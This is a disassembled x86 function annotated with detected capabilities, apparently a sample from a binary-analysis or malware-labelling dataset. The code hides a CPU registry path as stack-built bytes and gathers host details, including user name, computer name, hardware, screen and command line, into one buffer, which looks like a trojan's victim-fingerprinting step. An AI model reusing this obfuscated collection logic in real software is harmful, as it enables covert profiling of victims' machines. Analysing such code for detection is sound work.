Function at 0x428a20
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get graphical window text
Get hostname
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x950
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
mov ecx, 0x158
xor eax, eax
lea edi, [esp + 0x400]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov byte [esp + 0x46], al
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
push 1
push 0
mov bl, 0x5c
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x414], 0x88
mov byte [esp + 0x2c], 0x48
mov byte [esp + 0x2d], 0x41
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x44
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x31], 0x41
mov byte [esp + 0x32], 0x52
mov byte [esp + 0x33], 0x45
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x44
mov byte [esp + 0x36], 0x45
mov byte [esp + 0x37], 0x53
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x52
mov byte [esp + 0x3a], 0x49
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3d], 0x49
mov byte [esp + 0x3e], 0x4f
mov byte [esp + 0x3f], 0x4e
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0x53
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x43], 0x73
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4a], 0x6e
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x72
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x50], 0x72
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], 0x65
mov byte [esp + 0x54], 0x73
mov byte [esp + 0x55], 0x73
mov byte [esp + 0x56], 0x6f
mov byte [esp + 0x57], 0x72
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], 0x30
call ebp
test eax, eax
jne 0x428bbf
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x88]
lea eax, [esp + 0x80]
push edx
push eax
push 0
push 0
push str.MHz
push ecx
mov dword [esp + 0xa0], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0xe4]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
push edx
lea eax, [esp + 0x409]
push str._d_dMHz
push eax
call esi
add esp, 0x10
jmp 0x428bee
mov edi, 0x50f5c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x421]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x48]
push ecx
push 1
push 0
push edx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x5c], 0x48
mov byte [esp + 0x5d], 0x41
mov byte [esp + 0x5e], 0x52
mov byte [esp + 0x5f], 0x44
mov byte [esp + 0x60], 0x57
mov byte [esp + 0x61], 0x41
mov byte [esp + 0x62], 0x52
mov byte [esp + 0x63], 0x45
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], 0x44
mov byte [esp + 0x66], 0x45
mov byte [esp + 0x67], 0x53
mov byte [esp + 0x68], 0x43
mov byte [esp + 0x69], 0x52
mov byte [esp + 0x6a], 0x49
mov byte [esp + 0x6b], 0x50
mov byte [esp + 0x6c], 0x54
mov byte [esp + 0x6d], 0x49
mov byte [esp + 0x6e], 0x4f
mov byte [esp + 0x6f], 0x4e
mov byte [esp + 0x70], bl
mov byte [esp + 0x71], 0x53
mov byte [esp + 0x72], 0x79
mov byte [esp + 0x73], 0x73
mov byte [esp + 0x74], 0x74
mov byte [esp + 0x75], 0x65
mov byte [esp + 0x76], 0x6d
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x43
mov byte [esp + 0x79], 0x65
mov byte [esp + 0x7a], 0x6e
mov byte [esp + 0x7b], 0x74
mov byte [esp + 0x7c], 0x72
mov byte [esp + 0x7d], 0x61
mov byte [esp + 0x7e], 0x6c
mov byte [esp + 0x7f], 0x50
mov byte [esp + 0x80], 0x72
mov byte [esp + 0x81], 0x6f
mov byte [esp + 0x82], 0x63
mov byte [esp + 0x83], 0x65
mov byte [esp + 0x84], 0x73
mov byte [esp + 0x85], 0x73
mov byte [esp + 0x86], 0x6f
mov byte [esp + 0x87], 0x72
mov byte [esp + 0x88], bl
mov byte [esp + 0x89], 0x30
mov byte [esp + 0x8a], 0
mov byte [esp + 0x8b], 0
call ebp
test eax, eax
jne 0x428dc8
mov ecx, 0x40
lea edi, [esp + 0xf5]
mov byte [esp + 0xf4], al
lea edx, [esp + 0x8c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x78]
lea ecx, [esp + 0xf4]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push 0
push str.ProcessorNameString
push eax
mov dword [esp + 0x90], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x428db7
lea ecx, [esp + 0xf4]
push ecx
mov ecx, dword [esp + 0x14]
call fcn.004289a0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x421]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x428dfb
mov ecx, dword [esp + 0x14]
mov ebx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x428dfb
mov edi, 0x50f3c4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x421]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x84]
lea edx, [esp + 0x4a1]
push ecx
push edx
mov dword [esp + 0x8c], 0x32
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x4d3]
push eax
call fcn.004288c0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
mul edi
mov ecx, edx
mov eax, edi
xor edx, edx
mov edi, 0x5265c00
div edi
mov ebp, 0x36ee80
shr ecx, 0x18
mov edi, edx
xor edx, edx
mov eax, edi
div ebp
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul edi
shr edx, 0x15
push edx
push ecx
lea ecx, [esp + 0x4ff]
push 0x50f3b4
push ecx
call esi
add esp, 0x14
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov ebp, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
push 0x75
push edi
call ebp
push eax
push 0x76
push edi
call ebp
push eax
lea edx, [esp + 0x55b]
push str._d___d
push edx
call esi
add esp, 0x10
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov al, byte [ebx + 0x118]
test al, al
jne 0x428edb
mov eax, dword [ebx + 0x11c]
lea ecx, [esp + 0x573]
push eax
push 0x50f5a8
push ecx
call esi
add esp, 0xc
cmp byte [ebx + 0x118], 1
jne 0x428efd
mov edx, dword [ebx + 0x11c]
lea eax, [esp + 0x573]
push edx
push 0x50f594
push eax
call esi
add esp, 0xc
mov ecx, dword [ebx + 0x114]
lea edx, [esp + 0x5d7]
push ecx
push 0x50c2f4
push edx
call esi
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [esp + 0x5fb]
push 0x50db70
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x2fc]
mov dword [esp + 0x7c], 0x100
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov bl, byte [ebx + 0x119]
test bl, bl
jne 0x428f68
lea eax, [esp + 0x2fc]
push 0x50f588
push eax
push 0x50f574
jmp 0x428fcb
cmp bl, 1
jne 0x428f8e
lea edx, [esp + 0x2fc]
push 0x50f568
push edx
push 0x50f554
lea eax, [esp + 0x703]
push str._s_s_s
push eax
jmp 0x428fd8
cmp bl, 2
jne 0x428fb4
lea ecx, [esp + 0x2fc]
push 0x50f568
push ecx
push str._Run
lea edx, [esp + 0x703]
push str._s_s_s
push edx
jmp 0x428fd8
cmp bl, 3
jne 0x428fdd
lea eax, [esp + 0x2fc]
push 0x50f568
push eax
push 0x50f528
lea ecx, [esp + 0x703]
push str._s_s_s
push ecx
call esi
add esp, 0x14
call fcn.00418bb0
push eax
lea edx, [esp + 0x75f]
push 0x50db70
push edx
call esi
mov ecx, 5
mov esi, str.CTXOPConntion_Class
lea edi, [esp + 0x204]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
lea edi, [esp + 0x218]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x101]
mov byte [esp + 0x100], al
add esp, 0xc
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1f8]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x42919b
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0x1f8]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x429080
test cl, cl
je 0x42907c
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x429080
add eax, 2
add esi, 2
test cl, cl
jne 0x42905c
xor eax, eax
jmp 0x429085
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x429178
lea eax, [esp + 0x1f8]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0x1f8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x1f7]
dec ecx
cmp al, 0x5f
jne 0x4290b2
lea edi, [esp + ecx + 0x1f9]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xf4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x85b]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0xf4]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 2]
cmp eax, 0x100
ja 0x429178
lea edi, [esp + 0xf4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x85b]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x85b]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50c564
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call ebx
mov ebp, eax
lea eax, [esp + 0x1f8]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x429050
lea ecx, [esp + 0x90]
mov dword [esp + 0x90], 0x40
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x98]
mov edx, dword [esp + 0x9c]
mov ecx, 0x14
call fcn.0042d8f0
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x400]
push 0x560
push edx
mov dword [esp + 0x964], eax
call fcn.0040f340
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x950
ret